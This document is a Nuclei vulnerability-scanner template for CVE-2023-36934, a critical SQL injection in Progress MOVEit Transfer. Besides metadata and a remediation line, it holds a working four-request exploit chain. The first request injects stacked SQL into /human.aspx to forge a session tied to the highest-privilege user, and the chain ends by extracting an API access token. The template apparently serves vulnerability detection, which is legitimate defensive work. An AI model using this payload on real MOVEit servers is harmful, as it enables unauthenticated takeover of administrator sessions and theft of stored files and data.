id: CVE-2023-36934

info:
  name: MOVEit Transfer - SQL Injection
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    In Progress MOVEit Transfer before 2020.1.11 (12.1.11), 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4 (15.0.4), a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain unauthorized access to the MOVEit Transfer database. An attacker could submit a crafted payload to a MOVEit Transfer application endpoint that could result in modification and disclosure of MOVEit database content.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in the MOVEit Transfer application.
  reference:
    - https://community.progress.com/s/article/MOVEit-Transfer-2020-1-Service-Pack-July-2023
    - https://blog.projectdiscovery.io/moveit-transfer-sql-injection/
    - https://thehackernews.com/2023/07/another-critical-unauthenticated-sqli.html
    - https://www.progress.com/moveit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-36934
    cwe-id: CWE-89
    epss-score: 0.01606
    epss-percentile: 0.85992
    cpe: cpe:2.3:a:progress:moveit_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: progress
    product: moveit_transfer
    shodan-query: http.favicon.hash:989289239
  tags: cve,cve2023,moveit,rce,sqli,intrusive
variables:
  session_cookie: "{{randstr}}"

http:
  - raw:
      - |
        POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27{{session_cookie}}%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+IpAddress=%27{{public_ip()}}%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27{{session_cookie}}%27%23 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        transaction=signon
      - |
        POST /human.aspx?ep={{url_encode(ep)}} HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: InitialPage=zzzz.aspx;

        transaction=passchangerequest
      - |
        POST /machine.aspx HTTP/2
        Host: {{Hostname}}
        Cookie: siLockLongTermInstID=0; ASP.NET_SessionId={{session}};

        a=a
      - |
        POST /api/v1/auth/token HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.26.0
        Accept-Encoding: gzip, deflate
        Cookie: ASP.NET_SessionId={{session_cookie}}
        Content-Type: application/x-www-form-urlencoded

        grant_type=session&username=x&password=x

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '"refresh_token"'
          - '"access_token"'
          - '"token_type"'
          - '"expires_in"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: ep
        group: 1
        regex:
          - '\bep=([^&]+)"'
        internal: true
        part: body_1

      - type: regex
        name: session
        group: 1
        regex:
          - 'ASP.NET_SessionId=([^;]+)'
        internal: true
        part: header_2

      - type: regex
        group: 1
        regex:
          - '"access_token":"([^"]+)"'
        part: body_4

# digest: 4b0a00483046022100d437d0171df9edbc463ccb27d4b26704a42f9d05a82106fa4a59ebbd38ccdbd4022100cca96f7b18482278d0c59972a6a997eb6c12c59af7389b12cb6ff0c2f597d36b:922c64590222798bb761d5b6d8e72950